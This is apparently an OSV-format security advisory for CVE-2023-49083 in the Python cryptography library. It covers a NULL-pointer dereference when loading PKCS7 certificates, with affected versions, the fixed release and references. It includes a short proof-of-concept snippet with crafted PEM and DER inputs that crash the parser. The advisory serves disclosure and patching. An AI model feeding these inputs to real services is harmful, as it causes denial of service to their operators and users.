{"schema_version":"1.9.0","id":"GHSA-jfhm-5ghh-2f97","published":"2023-11-28T20:46:46Z","modified":"2026-09-10T03:49:59.095260608Z","aliases":["CVE-2023-49083","PYSEC-2023-254"],"summary":"cryptography vulnerable to NULL-dereference when loading PKCS7 certificates","details":"### Summary\n\nCalling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.\n\n### PoC\nHere is a Python code that triggers the issue:\n```python\nfrom cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates\n\npem_p7 = b\"\"\"\n-----BEGIN PKCS7-----\nMAsGCSqGSIb3DQEHAg==\n-----END PKCS7-----\n\"\"\"\n\nder_p7 = b\"\\x30\\x0B\\x06\\x09\\x2A\\x86\\x48\\x86\\xF7\\x0D\\x01\\x07\\x02\"\n\nload_pem_pkcs7_certificates(pem_p7)\nload_der_pkcs7_certificates(der_p7)\n```\n\n### Impact\nExploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.","affected":[{"package":{"name":"cryptography","ecosystem":"PyPI","purl":"pkg:pypi/cryptography"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1"},{"fixed":"41.0.6"}]}],"versions":["3.1","3.1.1","3.2","3.2.1","3.3","3.3.1","3.3.2","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.7","3.4.8","35.0.0","36.0.0","36.0.1","36.0.2","37.0.0","37.0.1","37.0.2","37.0.3","37.0.4","38.0.0","38.0.1","38.0.2","38.0.3","38.0.4","39.0.0","39.0.1","39.0.2","40.0.0","40.0.1","40.0.2","41.0.0","41.0.1","41.0.2","41.0.3","41.0.4","41.0.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-jfhm-5ghh-2f97/GHSA-jfhm-5ghh-2f97.json"}}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49083"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/9926"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/11/29/2"}],"database_specific":{"cwe_ids":["CWE-476"],"github_reviewed":true,"github_reviewed_at":"2023-11-28T20:46:46Z","nvd_published_at":"2023-11-29T19:15:07Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}